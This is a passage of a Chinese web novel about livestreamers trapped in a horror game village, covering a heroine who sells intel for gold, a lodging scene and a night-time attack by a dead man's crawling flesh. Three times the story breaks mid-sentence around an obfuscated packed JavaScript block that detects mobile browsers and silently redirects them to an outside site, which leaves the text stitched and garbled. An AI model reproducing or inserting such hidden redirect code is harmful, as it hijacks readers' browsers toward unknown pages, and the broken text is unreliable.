因为扩音喇叭重重回音的覆盖，再加上柯清意他们现在的位置已经快接近村尾，距离村头村委会将近五六百米的距离，所以即使柯清意听力十分灵敏，也没听见村头村委会的砸门声。 她用扩音喇叭重复滚动了三遍情报，确保尽可能多的主播都能听见、听清，才将喇叭收进背包图标里。 诡异的是，她用喇叭播了近两分钟的情报，乌山村里的村民却仿佛聋了一般，对此毫无反应和埋怨，依旧陷入沉沉的睡梦中。 “啧......” 将近两分钟且近距离的喇叭震响，风衣男感觉自己的耳膜都快要被撕裂了，他抬手揉了揉耳朵，皱着眉头嗤笑道：“这种热心肠免费奉送的情报，其实你只要说一遍就可以了，在副本世界里，你要学会对别人的命运——点到为止，知道了吗？小圣母。” 被称为“小圣母”的柯清意勾了勾唇角：“谁跟你说，这些情报是免费奉送的？” 风衣男：“？” 柯清意用喇叭播报情报，本意是想让主播都尽可能地活着通过爱情侦探的考验，以免她的明线任务进度缺少太多。 但既然有人递台阶了，她也不介意顺便收一点情报费。 在风衣男一脸疑惑中，柯清意慢慢伸出五个手指头：“情报费加喇叭磨损费，每人诚惠5个金币，可接受同价物品支付，也可分期。” 众人：“......” 风衣男：“......” 他就不该说那三个字！ 直播间看着柯清意举着的那五个手指头，也是一片哗然： 【......在副本里都不忘捞钱，又是一个捞女，这个社会真可怕。】 【前面的发言明显是穷根男破防了，卖情报都算捞女了？那在副本里以卖情报出名的陈罗水算什么？捞男？？你怎么不去他直播间骂他捞男？？啧，欺女怕男的软蛋一枚！】 【不是，大家都是一个副本里的主播，本来就应该互帮互助，几句情报怎么还要5个金币？】 【拒绝道德绑架，道德绑架的人通通反弹。】 【啧，也就是低级副本的npc“两耳不闻窗外事”，不然她根本没有收情报费的机会，早就被npc杀了。】 【非圣母主播，我喜欢，重重有赏！！！】 “这些情报又不是我求着你说的。” 马大爷梗着脖子像只顽固的猫，脸色蛮横又不善：“我是不会当冤大头付你5个金币的，小姑娘家家的，怎么那么贪心......” “切——” 女高中生在旁边听见，狠狠翻了个白眼，似笑非笑地看向他：“在副本里卖情报本来就是常见的事，各凭本事而已，如果无偿奉送情报才是冤大头吧。” “余小豆！！”马大爷被气得脸色发红。 “马大爷，您这么生气干什么，年纪大脾气也大啊！” 被称为余小豆的女高中生一边从饭碗里挑选着观众打赏的、且没什么用的同价道具，一边不紧不慢地说：“我早就说过了，我从小到大都没学过尊老爱幼的美好素质，所以你别在这倚老卖老的。” 话落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797619|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，余小豆手中凭空出现一把匕首，大概是为了证明自己真的没啥尊老爱幼的美好素质，她拿着匕首冲马大爷的脸隔空比划了两下。 马大爷脸色一僵，变得又红又紫，愤恨和生气在他脸上的皱纹中涌动。 余小豆嘲弄似地掀了一下嘴角，才又从饭碗里取出三支黑色碳素笔，连同手中的匕首递给柯清意：“两清。” 看见黑色碳素笔上还印着“金榜题名”的字样，柯清意嘴角微微一抽，默然伸手接过5金币的同价物品。 除了卫衣男精明地选了分期，走秀三人组也都用杂七杂八的同价物品支付了情报费，脸色无一例外的一言难尽。 “我们走吧。” 收完情报费，柯清意冷直如冰的唇角弯起一抹弧度，叫上老方朝院门外走去。 惨白的月色透过黑雾，浓浓笼罩在乌山村中，小路却被两侧房屋的黑影遮挡，看不太清，两人软一脚硬一脚地朝村尾乌老头家走去。 柯清意将刚收到的20个金币同价物品拿出来一半，递给老方。 老方愣了两秒，反应过来连忙摇头：“这是你的情报费，不用分我。” “情报你也有份。” 话落，柯清意将杂七杂八的物品一把塞进老方怀里，脚步未停地拐出了小路。 见状，老方只得把物品收进自己面板背包中，抬脚跟上柯清意。 沉默地走了几秒后，他忽然出声问道：“你关于那个男人错杀队友的猜测，有什么依据吗？” 柯清意淡淡瞥了他一眼，依次给出自己猜测的依据：“死亡条件，女人的惨叫声，血鞋印，枯井井壁上的血爬痕，还有......剥皮的手法。” 作为经历过两三个副本的老人，老方自然知道男人死亡必然是因为他触发了死亡条件，而目前来看，他们已知的死亡条件就是没有通过爱情侦探的考验。 但怎么会推测出是鬼怪附身女人剥了男人的皮？ 似是看出了老方的疑惑，柯清意出声解释道：“井壁上有女人的手印血痕，井底的血痕比井边的更明显浓稠，说明女人曾经从井底爬上来过，还是在双手鲜血淋漓的状态下爬上来的。” “而且……”柯清意隐去自己知道李刚游名字的事，用了个笼统的称呼，“那个男人的血肉模糊凹凸，不像是用匕首利刃一点一点割下来的，更像是用手直接撕裂下来的一样，这不是人能够做到的。” “但枯井周围只有女人留下的血鞋印，平整从容，不像是看见男人被剥皮惊恐之下留下来的，所以我猜是鬼怪附身在女人身上，剥了男人的皮。” 听完柯清意的分析，老方半张着嘴，恍然和震惊交杂。 明明这些依据他也看见、听见过，但就是无法在心中做出这种离谱又跳跃的猜测，可现在经柯清意这么一说，他又觉得她的猜测似乎十分合理，越想越觉得哪哪都能对上号、都能解释通。 直播间也是一片惊讶： 【刚从李刚游直播间转来的我告诉你们——主播说的都是对的！】 【我去啊！我又被小柯主播震惊了一遍，我还以为刚才她是乱猜吓唬人的呢，没想到真有依据。】 【主播真的不是什么警校生吗？看一下现场就能还原犯罪过程。】 震惊过后，老方忽然想到了一个问题：“那被鬼怪附身的女人现在去哪了？鬼怪会不会利用女人的身体伪装欺骗其他不知情的主播，然后......杀了他们？” 柯清意的声音过了片刻才响起来：“应该不会，那鬼怪是爱情侦探，不可能无限制地杀人，目前它能杀的，应该只是幻象考验失败的人。” 闻言，老方微微放心下来。 接下来的路两人都十分安静，沿着崎岖扭绕的土路又走了半分钟就到了村尾，一栋亮着昏黄灯光的三层村房映入眼帘。 8. 山村爱情（八） 月色与黑雾交缠，空气中像是裹了一层朦胧的灰白纱布，衬得昏黄的灯光越发摇晃发散，像一抹漂浮在黑暗中的鬼火。 “这应该就是面板上说的乌老头家了。”老方吸了口气，声音里不自觉地带上了几分紧张和僵硬。 “走吧。”柯清意抬脚朝乌老头家快步走去。 刚才她和老方都被李刚游喷溅了一身的血肉骨碎，她身上的大部分虽然都被透明雨衣挡住了，只有脸上和裤脚上沾了点，但口鼻间呼吸的空气中，全是那股子血肉和内脏混杂的怪味。 她需要清洗一下。 “咚咚咚——” 柯清意走到门口敲了敲门，接着门内响起一阵沉重又缓慢的脚步声。 木门是暗红色的，上面的油漆早已斑驳，不知道用了多少年头了，上面的油漆味中似乎还夹杂着几丝陈年老旧的血腥味，若有若无。 柯清意正打算凑近木门仔细闻一下时，木门嘎吱一声从里面打开了，露出一张面容灰白枯皱的老人的脸。 他的年纪大约七八十岁的样子，佝偻着背，穿着一件褪色起球的藏蓝色条纹衫，头发稀疏花白，手里还拿着一只黄铜色的老烟斗，斗砵（bo）上包浆厚重，里面塞着一团黄澄澄的烟丝，丝丝火光间白烟腾升。 他混浊的眼珠慢慢扫过两人身上的血痕，本就灰白的脸孔更加阴沉，声音中带着满满的不悦：“你们两个怎么搞的？不知道老头子我年纪大了，见不得血腥吗？” 见乌老头只责备他们衣服上的血腥，却丝毫没抱怨和提起刚才扩音喇叭的声音，柯清意便确定了这些npc是真的没听见刚才的喇叭声。 她假装漏出几分歉意：“不好意思，是我们思虑不周。” 乌老头哼了一声，让开门：“进来吧。” 两人进了门，堂屋很大很空，空气中弥漫着浓浓的霉湿味、烟味和香烛味。 屋顶挂着一个梨形的透明电灯泡，散发出暖黄色的灯火，正对着大门的墙上挂着“天地国亲师位”的家神牌位，下面放着一张花纹案台，上面香烟缭绕，白烛扑闪。 屋子正中间有一张破长木桌和几条长形板凳，上面满是被虫蛀咬过的凹痕。 “接下来几天你们都会住在我这，直到《山村爱情》节目录制完成。” 乌老头一边说着略生硬的普通话，一边迟缓地走到长桌旁坐下：“等人都到齐了，我再安排住宿。” 他抬起烟斗放进嘴里抽了一口，才指着旁边的一间屋子，嫌弃地说：“你们两个太难闻了，去厕所洗洗。” 两人求之不得，一同朝着乌老头指的厕所走去。 到了门口，老方秉持着女士优先的原则，让柯清意先进去清洗。 柯清意也没有推脱，说了一声谢谢后，便拉下墙边的电灯开关线，打开门走了进去。 厕所十分简陋，门边有一个水泥砌成的、半人高的水池，再过去一点有个蹲便器，充满了肮脏的黑黄污垢。 旁边放着一个已经装得满满当当的纸篓，还有不少用过的废纸掉在纸篓边，带着被浸湿又变干涸的痕迹，紧紧粘在地板上，让人觉得很不舒服。 柯清意不打算在厕所里多待，脱下透明雨衣和小黄头盔，从购物车里花1金币买了一条白毛巾，就着水龙头里流出的不够清澈、有些发锈的水，勉强清洗了一番。 等她洗好出来换老方时，大门口正巧响起了一阵敲门声。 乌老头从长桌边站起身，佝偻着背走向大门口，打开了木门，他阴冷的眼神一一扫过门外众人，冷哼一声：“进来吧。” 门外的众人鱼贯而入。 ——是走秀三人组、卫衣男、秦晓樾和肖平巍。 最后走进来的肖平巍身上已经换了件崭新的白T恤，但脸上和头发上依旧残留着油腻腻的痕迹，螺蛳粉味不断从他身上散发出来，似乎已经腌出味来了。 一看见站在一旁的柯清意，肖平巍的脸色骤然阴沉了下去，眼神怨恨又失望，仿佛再说：她怎么还没死？ “......”柯清意无语。 肖平巍显然是一个小肚鸡肠爱记仇，但又没什么本事亲自报仇出气的男人，所以每次都只能用怨恨的眼神盯着她，试图把她盯死。 柯清意上下扫了肖平巍一眼，冷冷地开口：“怎么？两个小时过去了，都没有人给你打赏皮搋子，让你好好通通脑子吗？” “贱人！”肖平巍被气得脸色发青，嘴里翻来覆去只有一些辱女词，“我操......” 他话刚说到一半，就看见柯清意的眼神突然变得冷漠狠厉，像是冰原中的恶狼一般，似乎下一秒就会扑上来将他活生生撕咬开。 再这样的眼神注视下，他不自觉吞了一口唾沫，后面两个字也硬生生卡在了喉咙里，吐不出来，但咽回去又觉得很没面子。 “那有人！” 正当肖平巍陷入卡词的窝囊境地时，木门外突然传来壮汉的声音，以及几道凌乱急促的脚步声。 木门刚刚关到一半，又被乌老头向旁边拉开，他看了一眼门外正快步赶来的几人，又扭头一一扫过屋里的几人，嘴角慢慢扯出一个僵硬的弧度：“真好，人终于来齐了。” 乌老头话音刚落，厕所门就咔嚓一声被老方突然拉开，吓了刚进来的几人一跳。 他头发上还带着水渍，身上换了一条黑色运动长裤，以及一件跟肖平巍同款的白T恤，手臂上的肌肉健硕，胸肌发达，将白T恤撑得鼓鼓的，是跟身形瘦高的肖平巍完全相反的风格。 老方一边用毛巾擦着头发，一边往木门外面看，明显是还没完全清洗好，但听到乌老头说的“人齐了”，连忙急着出来听住宿规则。 很快，门外就跑进来六位主播——壮汉、女白领、余小豆、马大爷、挺着啤酒肚的光头男、穿碎花裙的清瘦女生。 见状，先进来的几人脸色都或多或少地有些难看，他们都先后听说了男血尸的事。 而现在，乌老头所谓的“人齐”也不包括跟男血尸一起进来的女人，说明那女人......真的已经死了。 同时，他们心中又生出几分劫后余生的庆幸来，要不是有柯清意用喇叭播报情报，他们还真不确定自己是否能通过爱情侦探的考验。 直播间也是一片唏嘘和争论： 【我还是第一次见十四位主播齐齐整整地出现在乌老头家呢，小柯主播功德无量啊！】 【别忘了，这个副本也死过两个人，能十四个人一起出现在这，是因为这个副本本来就多了两个人！！】 【对啊，干嘛捧高她，之前萧神过这个副本时，不也是只死了两个人，而且还闯出了这个副本的最高进度83%。】 【......不一样啊兄弟，你家萧神那次是因为他早就看过这个副本的直播，提前给大家说过考验规则，而且看过副本直播都才闯出83%的进度，你是怎么还好意思拿出来说的？？】 【我是萧神粉，别的不说，就凭小柯主播是戴上镜头膜后进入的考验，还能通过考验反暖别人这点，我就支持小柯主播。】 【前面的，别搞错了，主播她不是反暖，而是为了金币和自己的人设任务。】 【等等——那个穿黑色半裙的白领小姐姐的队友不是进入幻象听不到情报了吗？我看到一半就跳直播间了，有没有哪位好心人能跟我说说，他们俩是怎么通过考验的？】 【怎么说呢，过程有点出人意料......女白领小姐姐被壮汉发现躲在桌子下后，当头朝他扔了个烟雾弹，白烟四起，她趁机用天赋逃脱，顺便又补了两个烟雾弹，两人就在白烟里她躲他找了一分多钟，直到面板提醒心动任务结束，女白领小姐姐才把壮汉引到走廊上，丢给他几张白纸，上面是她在这一分钟之内提前写好的、小柯主播的情报，有了面板提示在前，壮汉也反应过来不对劲了，于是半信半疑地照着纸上的方法做了.......然后，happyend ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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既然所有主播都戴着心动手环，都要求遵守男女分开住的住宿规则，说不定二楼和三楼的距离没有超出十米。 乌老头冷哼了一声，才接着说：“二楼和三楼各有三间房，你们男的作男的，女的作女的，自觉分成六组。” 穿着高跟的长裙女人和汉服女孩似乎在现实中认识，几乎是乌老头话音刚落的下一秒，她们就凑成了一组：“我们两个一组。” 相对应的，她们的心动队友——风衣男和卫衣男也组成了一组，倒是马大爷在众人间看了一圈，腆着张脸对风衣男说：“我——加我一个，让我跟你们一组可以吗？” 三间房，七个男人，有一间房必然会住三个男人。 风衣男微微挑起嘴角：“可以。” “切——”余小豆日常地翻了个白眼，没有对应马大爷加入长裙女人和汉服女的房间，而是转眸看向柯清意问：“你要不要跟我一组？” 柯清意点头同意，脸上没什么表情。 见状，剩下的三位女生几乎同时皱了皱眉，因为柯清意先前播报情报的行为，她们心里都更倾向于跟柯清意住一间，正要同时开口抢问最后一个床位时，却听见一道清冷的声音先响起：“秦晓樾，你想跟我们住吗？” “......啊？”秦晓樾愣了两秒，反应过来连忙对柯清意点头道：“想！” 女白领和碎花裙女生互相看了一眼，她们两个被剩成了一组。 而男人那边，老方本想对应秦晓樾和肖平巍一组，但不知道出于什么原因，肖平巍转头和光头男组成了一组，而两个最强壮的男人——老方和壮汉被剩成了一组。 见分好了组，乌老头从裤兜里掏出几把乌黑的钥匙，一边分发，一边强调。 “记住，女的只能住二楼，男的只能住三楼，不能混住，也不能上下楼串门。” 9. 山村爱情（九） 柯清意伸手接了钥匙，见是一把十字锁芯的黄铜老式钥匙，凹缝处藏了一些油腻腻的黑渍，方形匙柄上用透明胶布粘着一小块白纸，上面用圆珠笔写着一个歪歪扭扭的数字：3。 分完了钥匙，乌老头张开干瘪枯皱的嘴巴，面色严肃地说：“好了，拿到钥匙就赶快上楼去，怎么分的就怎么住，别乱换房间，也别乱串门。” 他说完，不再管众人，抽着烟斗佝腰踱进了堂屋旁边的房间，掩上了房门。 六组人拿着自己手中的钥匙，有冷静如水的，也有一头雾水的，就这么沉寂了好几秒，一道冷淡清透的声音忽然响起：“5个金币的情报费，各位打算怎么付？” 众人：“......” 尚未支付情报费的几人看了看柯清意身上显眼的黄色外卖工服，心里都明白她就是用喇叭播报情报的人。 在来乌老头家的路上，他们也已经听几位付过情报费的主播说过“5金币情报费”的事，新人主播还顺带被普及了一件事—— 副本里有条不成文的规则：情报是可以卖的，这是很多主播除了完成任务获得金币和观众打赏礼物外的第三种收入途径。 只要情报正确有用且价格合理，享用了情报的主播必须要支付相应的情报费，不然会被观众打上“赖账”的标签，在直播论坛里广为流传，从而失去大多数的观众缘，以及观众打赏的礼物。 当然也有一些从不支付情报费的主播，他们几乎都是同一公会——老赖公会的成员。 他们在副本里就从不付情报费，在直播论坛也只观看同为老赖主播的直播，只给他们打赏礼物，公会里的主播形成一个互相打赏的循环。 像马大爷，十有八九就是老赖公会的成员。 但老赖公会成员不多，不过千人出头，能打赏的礼物一向不如路人观众多。所以，大部分主播都还是选择支付情报费，换取一个好名声。 刚才人到齐时，他们见柯清意没有提起情报费的事，还以为她是忘了或者是不想收了，还想着能偷摸蒙混省几个同价物品。 但她现在都提了，几人便也爽快地从面板饭碗中挑出一些观众打赏的、没什么用的奇葩恶趣味物品： 壮汉：一个亮闪闪的猫咪头箍（D级\2金币）、一套大码黑白女仆装（D级\3金币） 直播间： 【痛啊，实在是太痛了，你要索就索别的命，别索我猫咪头箍和女仆装的命啊！】 女白领：5个印有星某克绿色人脸的杯子（D级\1金币） 直播间： 【秋啊，星某克杯可是你的应援礼物啊，你把它送出去了还怎么当都市白领！】 秦晓樾：一把匕首（D级\2金币）、一双红色恨天高（D级\3金币） 直播间： 【不是，美女，哥给你赏的高跟鞋是给你穿的，你拿去支付情报费是几个意思？？】 收了一堆什么奇葩物品的柯清意：“............” 直播间： 【......其他主播直播间的观众真特喵的是些人才，打赏的都是些什么玩意？？！】 柯清意脸上的表情一言难尽，沉默着转眸看向光头男和碎花裙女生，直接略过死盯着她完全没有付情报费打算的肖平巍。 “我们俩没用你的情报。”光头男拉住身旁碎花裙女生的手腕，隐晦不明地说，“所以，我们不用付你情报费。” 众人有些震惊：“你们是自己通过考验的？！” “......是。”光头男说。 众人盯着他们两个上下打量了一遍，震惊又怀疑，尤以壮汉的目光之最。 若说是两个过过好几个副本的老人主播也就算了，可他们两个明明是新人主播，刚进来时还在吵架，吵光头男把两人开店的共同本钱赌博输光了，甚至倒欠了几万块，吵碎花裙女生懒惰败家，一直呆在出租屋里不出去找班上......吵得他头疼。 这样的两个新人，竟然能自己通过爱情侦探的考验，还是在副本人数明显多出来两个的情况下。 搁谁，谁不怀疑？ “你们什么意思？！”光头男怒了，“我们俩在一起五六年了，互相都很信任，通过鬼怪考验有什么不对！” 壮汉眼睛微微眯起，凶光毕现：“你说的最好是真的，要是让老子知道你撒了谎，又或者你们两个就是伪装成主播混进来的鬼怪，老子弄死你们。” 光头男眼神瑟缩了一下，紧绷着脸上的害怕神色，说：“是真的！我们遇见的是个手脚畸形，长在人脸上的婴儿小鬼！” 婴儿小鬼？ 老方微微瞪大眼睛，和柯清意默契地对视了一眼，说：“我跟小柯也是婴儿小鬼！” “巧了，我们也是。”风衣男挑眉，同时站在他旁边的长裙女人点了点头。 卫衣男皱了皱眉，给出了不一样的答案：“我们是剥皮男。” 说完，他带着好奇的目光扫过最后到的、还没互相交流过信息的六位主播，试图从他们口中听到跟他一样是剥皮男的答案。 “老子遇见的不是什么剥皮男和婴儿小鬼。”壮汉看了女白领一眼，像是想起了什么，脸色有些难看：“是个全身浮肿发白的女鬼，像是在水里泡了几天几夜的淹死鬼。” “我也是！”马大爷和肖平巍同时说道。 “这么说——”老方站在一旁总结道，“所谓的爱情侦探其实是三个鬼怪：婴儿小鬼、剥皮男鬼、淹死女鬼.......一家子啊？” 众人显然也联想到了这点，余小豆嗤笑一声，嘴角勾起一抹讽刺意味：“是啊，这一家子还都死得挺惨的。” 壮汉没听出来她话里的讽刺，以为她是年纪小，圣母心爆棚，嫌恶地说：“你他妈神经病啊，同情鬼怪......要是我们没有通过它们的考验，我们死得绝对比它们还惨。” 余小豆翻了个白眼，懒得理会四肢发达、头脑简单的壮汉，刚想转身朝楼梯口走去，突然间乌老头打开房门，拿着老烟斗重重敲了敲门框，眼神狠厉地盯着他们：“你们怎么还没上楼去休息？！是想违反我的住宿规则吗？” 众人被吓了一大跳，嘴里一边应着“不是不是”、“这就上楼去休息”，一边朝昏暗的楼梯口走去。 见众人都先后上了楼梯，乌老头才冷哼一声，再次关上了房门。 —— 二楼空气中的潮味和霉臭味比一楼堂屋要浓重很多，如同潮水般涌动，似乎能将人直接溺死在空气里。 走廊顶上挂着的老式灯泡外壳上有层黑垢，半透不透，艰难散发出来的灯光昏暗残缺，衬得只有五六米长的走廊格外阴暗恐怖。 两侧的墙面已经黄斑驳落，紧凑排列着四间房，其中三间都是厚实的土黄色木门，门上分别用油漆歪歪扭扭地喷写着三个数字，走廊尽头左侧的那间却是挂了一张沾满污垢的破旧帘布，隐隐有恶臭味散发出来。 很明显，那间应该是个公共厕所。 柯清意站在拐角墙边看了眼二楼地面到天花板的距离，又在心里评估了一下六个房间的直线距离，扭头对老方说：“二楼和三楼房间的距离应该不超过十米，心动手环不影响。” 她顿了顿，又补了一句：“如果心动手环还是响了，我们两个就都朝楼梯口的方向走。” “好。”老方站在楼梯旁点头，默了片刻后郑重地说：“小柯，明早见。” 柯清意脸上没什么表情，淡淡应道：“嗯。” 众人也学着柯清意和老方互相低声交代了两句，七个男的便都先后上了三楼。 柯清意拿着黄铜钥匙打开了厕所旁边喷着数字“3”的房间门，在墙边摸了一圈，也没摸到电灯开关按钮和拉线之类的东西，只能就着走廊射进来的昏暗灯光扫了一圈房间。 房间只有十来平米，墙边放着三张单人木床，床上铺着陈旧艳俗的大红花被子，房间最里面那张单人床墙边挂着一块深红色的窗帘。 柯清意走过去，把手里的透明雨衣和黄头盔放在了单人床脚边，抬手拉开了红布窗帘。 窗沿间没有玻璃，只用几张厚报纸糊在锈黑的铁栏杆上面，透过报纸那些破败的小孔向外窥探，只见一片让人透不过气的黑雾笼罩在乌山村上方，浓稠而压抑。 “别看了，挑一张床睡觉吧。” 余小豆一边说，一边把书包甩在靠近门边的床上，花被子上立刻被拍起一层霉灰味来，她也不嫌弃顺势躺了下去，打了个哈欠又朝刚关上房门的秦晓樾说：“记得把门反锁上。” 秦晓樾一愣，默默地将木门反锁上。 房间里陷入一片昏黑，只有让人喘不上气的霉灰味和恶臭味，如有质感地充斥在周边。 借着从门缝底下透进来的微弱灯光，秦晓樾走到了中间的木床边，没脱鞋直接躺了上去，却没有丝毫睡意。 她静静地看着天花板，听着旁边柯清意放下窗帘布，和衣躺在床上的声音，过了好一会儿，才迟疑着开口：“今天晚上，还会出事吗？” “不知道。”柯清意说完，闭上了眼睛。 白天从早晨到晚上连轴转地送外卖，进副本后又折腾了两三个小时，现在一躺在床上，强烈的困意就直接朝柯清意袭来，她没再管身旁的秦晓樾，闭着眼睛，就这么睡了过去。 半夜的时候，柯清意被一种摩擦地板和木头的诡异声响吵醒了。 那声音仿佛是带着一大群软肉的虫子在地板上、木头上爬行，发出的沉闷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797621|158365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喳喳声，其中又掺杂着一些略微清脆点的刮擦声，像是有一些虫子坚硬的外壳爬过地板的声音。 总之，那声音很近，近得像是从她床边传来的。 柯清意睁开了眼睛，看到房间陷在一片朦胧的漆黑中，空气中的味道更难闻了，腐臭味和霉灰味中掺杂进了一股浓郁的血腥味，比她放在床脚透明雨衣上的血腥味浓了百倍不止。 她从兜里摸出了手机，摁亮手电筒，刺眼的白光瞬间照亮了她周边的景象。 只见她和秦晓樾木床间的水泥地板上，一堆血肉骨碎正在上面快速蠕动爬行，地板上已经被拖出了一层半米宽的红色血痕，一直延伸到她的床下。 有些血肉已经顺着木床支脚爬到了花被子上，离柯清意的脚仅有几厘米的距离，其中还有一颗圆溜溜又带着几丝血肉的眼球。 兴许是被手机散发出来的白光刺激到了，那只眼球慢慢地转动，直直对上了柯清意的眼睛，目光阴冷又狠毒，像一条蛰伏着随时想咬人的毒蛇。 柯清意认出来了，是李刚游仅剩的那只眼球。 他变成鬼怪回来找她复仇了。 眼前的血肉骨碎眼球蠕动爬行的速度骤然加快，柯清意来不及细想，缩脚从床上坐起，掀起一直垫在身下的花被子一角挡在身前。 木床在晃动中发出嘎吱声，在死寂的深夜里显得格外刺耳。 秦晓樾被嘎吱声吵醒，刚一睁眼看到的就是一大堆血肉骨碎从地板上爬到柯清意床上花被子上的画面，下意识想尖叫出声，身后突然钻出来一只手迅速捂住了她的嘴巴，掌心柔软冰凉。 紧接着余小豆的声音在她耳边轻轻响起：“别吵。” 惊吓过后，秦晓樾也反应过来了，不敢挣扎发出声音，只能身子僵硬地任由她捂着，眼睁睁看着那些血肉骨碎几乎全都爬上了花被子，有些还顺着花被子快爬到了柯清意抓着花被子边沿的手指旁边。 在那些血肉骨碎即将接触到柯清意手指时，她拉着花被子一角猛地站起身，动作迅速地将花被子四个边都翻折了起来，所有爬上花被子的血肉骨碎都被折盖在了花被子里。 旁观一切的两人：“......” 余小豆松开捂住秦晓樾嘴巴的手，盯着柯清意手下那团不停蠕动挣扎的花被子，怀疑地说：“应该挡不住吧，要不你去购物车里买个打火机，再买点汽油，把它烧了，一了百了。” 花被子里的血肉骨碎闻言，挣扎蠕动的动作停顿了一秒，接着更用力挣扎蠕动起来，有一些甚至已经奋力蠕动到了花被子最上面的那层。 柯清意蹙了蹙眉，决定听取余小豆的建议把它烧了。 刚想打开面板购买打火机和汽油时，楼梯口突然传来一阵“咚咚咚”的脚步声。 那是特属于硬胶靴底踩在地板上的声音，步子走得很快，“咚咚咚”的声音在整间村房内急促地回荡着。 柯清意察觉到手下花被子里的血肉骨碎在听到脚步声后，挣扎蠕动的力道越来越大，已经有一些从花被子的叠层间挤了出来，却没攻击她，也没朝着来时的地板蠕动回去，反而朝着墙边的窗户快速蠕动，像是急于逃离此地一样。 李刚游的血肉骨碎在逃离什么？ 疑惑在心头快速划过，柯清意沉思一秒，转用膝盖跪压着花被子阻挡血肉蠕动出来，弯腰捡起床脚边的透明雨衣，将爬出来的血肉又全都搂进雨衣中。 接着，她连同花被子一把抱起，下床朝房间门口快步走去，打开房门将雨衣和花被子一起扔在了走廊上，又嘭的一声关上了房间门。 整个过程行云流水，动作飞快。 再次旁观了一切的两人：“......” 直播间也是空屏了两秒，而后弹幕争先恐后地涌了出来： 【？？？小柯主播怎么知道外面是被李刚游杀死，变成鬼怪来找他复仇的女人？直接就行云流水地把李刚游打包丢了出去？？】 【不是，我是真怀疑小柯主播能看见我们的弹幕？从她推测出李刚游杀队友那，我就怀疑上了，我这次真的要点举报了！！】 【啊？我还以为小柯主播纯纯是打算把李刚游丢出房间呢......】 【呵呵，只能说你有这种想法，闯什么副本都会失败的......没看见那房间破门底下有那么大一条缝啊，丢出去了李刚游不会再爬进来啊？！】 ...... 余小豆率先反应过来，轻手轻脚地走到了柯清意身旁，低声问：“是那个被他杀死的女队友？来找他复仇的？” “嗯。”柯清意轻轻应了一声，站着门边尽量削弱自己的呼吸，侧耳听着门外突然变得急促的脚步声，离她们越来越近。 最终，停在了她们房间门外。 10. 山村爱情（十） 门外站着的，确实是来找李刚游复仇的刘糖。 她穿着一件嫩黄色长袖薄衫，腹部的位置染上了大片鲜血，还有几道匕首留下的穿刺印口，隐约露出腹部上略微卷曲的创口。 右手里还拖着一张完整的人皮，五官空洞扭曲，似乎还残留着人皮主人的恐惧和痛苦。 而两条干瘪、隐隐泛着丝丝血红光泽的人皮腿，被她沿着血肉骨碎爬行留下的血痕一路拖过来，直到柯清意她们房门前才停下了脚步。 她的瞳孔没有任何温度，涣散地盯着地上从花被子和雨衣里蠕动出来的血肉骨碎，僵硬地咧开嘴角：“刚游，我终于找到你了。” 看着满地乱爬，有些又想从门下缝隙中爬进房间的血肉骨碎，刘糖直接抬脚踩了上去，将人皮拖到它们旁边：“你跑什么呀？你看，我把你的皮带来了，你不高兴吗？” 那人皮仿佛是有什么诅咒一般，爬行的血肉骨碎全都避开了它。 见状，刘糖收起脸上没有一丝温度的笑容，直接蹲下抓起血肉骨碎粗暴地塞进人皮腿里。 诡异的是，那些进了人皮的血肉骨碎又重新紧紧地粘回到人皮上，像是从来没被剥离分开过一样。 一时间，死寂的二楼走廊里，只有刘糖拖着人皮到处捡血肉骨碎的细微声音，其中还间杂着几声轻笑，就像是天真活泼的小姑娘在海边捡到了心爱的贝壳，从心底发出的欢笑声。 但放在当下的环境里，莫名让人生出一身的鸡皮疙瘩。 柯清意和余小豆站在门边听了几分钟，期间有些血肉骨碎沿着门缝再次爬了进来，还没等她俩拿脚踢出去，就被五根从门缝间延伸进来的长手指抓了回去。 显然，门外的那个女人已经变成鬼怪了。 两人轻声地躺回了各自的床上，柯清意这才捡起刚才丢在床上的手机，摁灭手电筒前，特意看了眼她的左手中指。 只见原本白皙红润的指腹上，现在却有一个小指甲盖大小的猩红伤口，上面的皮肤已不知所踪，凹凸猩红的血肉裸露在空气中。 这是柯清意刚才用雨衣搂李刚游的血肉骨碎时，不小心触碰到其中一块粘软血肉留下的伤口。 当时她只觉得指尖的皮肤传来一阵撕痛，却没时间看，现下一看，却有些微惊，没想到竟是连皮肤都被那块血肉给撕裂粘走了。 若是刚才她没有醒来，让那些血肉骨碎爬满了皮肤...... 柯清意没有再细想下去，而是用意念打开了面板，先是扫了一眼顶栏的几个数字——金币：51，爱心值：0，直播间人数：639，打赏礼物：43，才点进最后一个饭碗图标。 里面按照等级和数量依次排列着观众打赏的礼物，排在前两位的是D级匕首和D级皮搋子，后面跟着一些乱七八糟的奇葩物品，其中有一个白绿相间的创可贴。 【云某白药创可贴2.0】 【赠送观众：张余】 【等级：D级】 【金币：2金币】 